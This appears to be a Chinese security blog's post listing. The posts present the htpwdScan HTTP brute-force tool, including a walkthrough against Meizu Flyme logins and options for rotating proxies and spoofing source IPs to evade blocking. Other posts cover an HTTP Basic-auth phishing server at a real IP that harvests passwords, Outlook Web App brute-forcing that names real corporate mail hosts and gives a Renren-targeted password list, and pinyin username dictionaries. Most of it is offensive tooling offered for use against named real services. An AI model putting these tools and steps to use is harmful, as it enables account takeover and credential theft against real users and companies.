htpwdScan使用介绍 [1] – 猜解魅族flyme账号,暴力破解

这里以魅族Flyme的账号破解为例,介绍htpwdScan的使用。页面地址 https://member.meizu.com/login.jsp

输入一个不存在的用户名,返回Error 11,而密码错误返回Error 14。(在浏览器查看源代码)

因为脚本会自动替换\r \n \t等空白字符串,所以先debug查看返回的响应文本,来选择一个关键字:

执行:

htpwdScan.py -f=meizu.txt -d uname=pinyin2.txt pwd=password.txt -debug

在响应文本中复制value=”11″作为特征串,请注意,在cmd中输入这个串,双引号需要转义。执行测试,看能否根据此关键字进行破解:

htpwdScan.py -f=meizu.txt -d uname=pinyin2.txt pwd=password.txt -err=value=\”11\” -debug

好了,确定没有出现破解成功的提示,说明关键词是能用的。 继续阅读htpwdScan使用介绍 [1] – 猜解魅族flyme账号,暴力破解

htpwdScan HTTP弱口令扫描器(python)

脚本还在不断完善,目前已经可以通过批量导入代理来突破IP限制,密码可hash: MD5、SHA1。

可以通过设定重试条件来解决不稳定主机和ngix指向不同后端的问题(即便4次请求只有一次能正确访问到后台,程序也能破解出账号)。

正在添加对HTTP Basic认证的支持,会考虑加入简单验证码识别。也会考虑做一个GUI工具。啊,有点跑偏了

弱口令破解是我最常用的攻击方式之一。 这种攻击方法对用户量庞大、没有做IP请求限制、没有做密码安全规则、错误提示过于详细的系统,几乎是通杀的。

上周,利用一点时间,我把以前写的暴力破解脚本片段,整理成了一个通用的HTTP暴力破解工具。感谢组里的同事,小松、亮哥对我工作的支持呐。

鉴于是初步实现,肯定有很多不足。 我是想到什么就加进去,所以思路可能有点乱。

optional arguments:
  -h, --help            show this help message and exit
  -f REQUESTFILE        Load HTTP request from file
  -https                Set -https only when load request from file and
                        HTTPS was enabled
  -u REQUESTURL         Explicitly Set request URL, e.g.
                        -u="http://www.test.com/login.php"
  -m METHOD             Set -m=GET only when -u was set and request method
                        is GET,default is POST
  -d Param=DictFilePath [Param=DictFilePath ...]
                        set dict file for each parameter,
                        support hash functions like md5, md5_16, sha1. e.g.
                        -d user=users.dic pass=md5(pass.dic)
  -no302                302 redirect insensitive, default is sensitive
  -err ERR [ERR ...]    String indicates fail in response text, e.g.
                        -err "user not exist" "password wrong"
  -suc SUC [SUC ...]    String indicates success in response text, e.g.
                        -suc "welcome," "admin"
  -herr HERR            String indicates fail in response headers
  -hsuc HSUC            String indicates success in response headers
  -proxy Server:Port    Set HTTP proxies, e.g.
                        -proxy=127.0.0.1:8000,8.8.8.8:8000
  -proxylist ProxyListFile
                        Load HTTP proxies from file, one proxy per line, e.g.
                        -proxylist=proxys.txt
  -fip                  Spoof source IP
  -t THREADS            50 threads by default
  -o OUTPUT             Output file, defaut is Cracked_Pass.txt
  -rtxt RetryText       Retry when it appears in response text,
                        e.g. -rtxt="IP blocked"
  -rntxt RetryNoText    Retry when it does not appear in response text,
                        e.g. -rntxt=""
  -rheader RetryHeader  Retry when it appears in response headers,
                        e.g. -rheader="Set-Cookie:"
  -rnheader RetryNoHeader
                        Retry when it didn't appear in response headers,
                        e.g. -rheader="Content-Length:"
  -sleep SECONDS        Sleep some time after each request,
                        avoid IP blocked by web server
  -debug                Send a request and check
                        response headers and response text
  -nov                  Do not print verbose info, only print the cracked ones
  -v                    show program's version number and exit

获取脚本: https://github.com/lijiejie/htpwdScan

基本用法稍后单独写一篇日志说明。  自己写的小工具,若有自己用着才顺手,自然是不好的。。。

图形验证码的常见安全问题

验证码的英文缩写是CAPTCHA,即:

Completely Automated Public Turing test to tell Computers and Humans Apart

译作”全自动人机区分的图灵测试”。

时下图形验证码的应用已经非常广泛了,无论是在web应用还是客户端软件中。主要是用来防止字典攻击(或称暴力猜解)、机器注册等。

可惜的是,大多数开发者不得要领,敷衍了事。验证码设计中常见的安全问题是:

  1. 验证码有逻辑缺陷,可被绕过,可被逆向
  2. 验证码太简单,容易被机器识别

下面分别说明。 继续阅读图形验证码的常见安全问题

利用HTTP Basic认证进行钓鱼攻击的python脚本

代码片段: https://gist.github.com/lijiejie/d51f843563b732bf3907

1) 什么是HTTP Basic认证

HTTP Basic认证是由web服务器提供的,一种轻便的身份校验方式。

访问某些敏感资源时,服务器将要求输入账号、密码进行校验,通过之后才可继续访问,如下图所示:

http-basic-auth

2) 如何使用HTTP Basic认证钓鱼

最常见的一种攻击方式,是在访问量大、又能够插入第三方图片的页面中,插入由我们构造的超链接。

这样,当别人访问页面时,浏览器就可能弹出对话框来(Chrome不会触发、而其他浏览器多数可以)。

缺乏安全意识的用户可能会把自己的账号密码输入进去,被攻击者截获。

比如上述http://106.187.34.156:1234/img/baidu_logo.gif,背后实际是python实现的一个简单http服务器。

用户初次访问,它会提示用户键入账号。

而一旦提交,它会自动302重定向到百度的logo。同时,把用户输入的账号、密码,Referrer等信息截取。还标记一个Cookie,避免反复提醒用户输入造成对方的警觉。

3) 如何防御

继续阅读利用HTTP Basic认证进行钓鱼攻击的python脚本

Microsoft Outlook WebAPP暴力破解脚本

国内很多互联网公司都在使用Outlook Web APP:

http://email.baidu.com    https://mail.letv.com/      https://mail.youku.com/    http://mail.renren-inc.com    https://mail.sohu-inc.com/    https://mail.ifeng.com/      https://mail.iqiyi.com/     https://mail.ganji.com/   https://mail.meizu.com/

攻击者可以从登陆页直接尝试暴力破解。如果能预先猜解到用户名,则破解的效率更高。

这里密码复杂度要求比较高,难于使用一般的弱口令字典来破解,最好是自己定义一个列表。

比如说破解人人网的账号,可以用类似:

<user>123
<user>123456
<user>RENREN123
<user>@renren.com
<user>.renren.com
<user>@renren
<user>@RENREN
<user>_renren
renren@<user>
renren_<user>
renren@123
www.renren.com
renren.com
1234qwer
renren123456
renren666666
123.com
renren520
renrenMAIL123456

对提供的脚本做一点说明:

Outlook.py只有一个工作线程. Outlook_threaded.py是多线程版本.

测试发现多线程版本在SSL handshake时可能出错,比如破解email.baidu.com时。这跟服务器的稳定性有关。 目前的处理方法是出错后重试!

使用方法:

Outlook.py domain users passwords
domain是站点域名,users和passwords是字典文件的名称。
Outlook_threaded.py domain users passwords threads
再额外提供一个线程数,根据服务器的稳定性自行调整,程序不是自适应的

去GitHub获取脚本

暴力破解常用的双拼音和三拼字典

国人的姓名多数是双拼或3拼。 对于用户量巨大的系统,暴力破解可以直接用拼音字典来猜解用户名。单字的拼音如下表:

a ai an ang ao 
ba bai ban bang bao bei ben beng bi bian biao bie bin bing bo bu 
ca cai can cang cao ce cen ceng cha chai chan chang chao che chen cheng chi chong chou chu chuai chuan chuang chui chun chuo ci cong cou cu cuan cui cun cuo 
da dai dan dang dao de dei deng di dian diao die ding diu dong dou du duan dui dun duo 
e en er 
fa fan fang fei fen feng fo fou fu 
ga gai gan gang gao ge gei gen geng gong gou gu gua guai guan guang gui gun guo 
ha hai han hang hao he hei hen heng hong hou hu hua huai huan huang hui hun huo 
ji jia jian jiang jiao jie jin jing jiong jiu ju juan jue jun
ka kai kan kang kao ke ken keng kong kou ku kua kuai kuan kuang kui kun kuo 
la lai lan lang lao le lei leng li lia lian liang liao lie lin ling liu long lou lu luu luan luue lun luo 
ma mai man mang mao me mei men meng mi mian miao mie min ming miu mo mou mu 
na nai nan nang nao ne nei nen neng ni nian niang niao nie nin ning niu nong nu nuu nuan nuue nuo 
o ou 
pa pai pan pang pao pei pen peng pi pian piao pie pin ping po pou pu 
qi qia qian qiang qiao qie qin qing qiong qiu qu quan que qun 
ran rang rao re ren reng ri rong rou ru ruan rui run ruo 
sa sai san sang sao se sen seng sha shai shan shang shao she shei shen sheng shi shou shu shua shuai shuan shuang shui shun shuo si song sou su suan sui sun suo 
ta tai tan tang tao te teng ti tian tiao tie ting tong tou tu tuan tui tun tuo 
wa wai wan wang wei wen weng wo wu 
xi xia xian xiang xiao xie xin xing xiong xiu xu xuan xue xun 
ya yai yan yang yao ye yi yin ying yong you yu yuan yue yun 
za zai zan zang zao ze zei zen zeng zha zhai zhan zhang zhao zhe zhei zhen zheng zhi zhong zhou zhu zhua zhuai zhuan zhuang zhui zhun zhuo zi zong zou zu zuan zui zun zuo

生成双拼和3拼字典文件,代码如下:

#encoding=gbk

words = []
with open('pinyin.txt') as inFile:
    while True:
        word = inFile.readline().strip().split(' ')
        if len(word) < 2: break
        words += word

with open('2_words_pinyin.txt', 'w') as f2:
    with open('3_words_pinyin.txt', 'w') as f3:
        for w1 in words:
            for w2 in words:
                f2.write(w1 + w2 + '\n')
                for w3 in words:
                  f3.write(w1 + w2 + w3 + '\n')  

因为3拼文件太大,笔者将其压缩上传到网盘:http://pan.baidu.com/s/1hqKH8gc

双拼字典下载:2_words_pinyin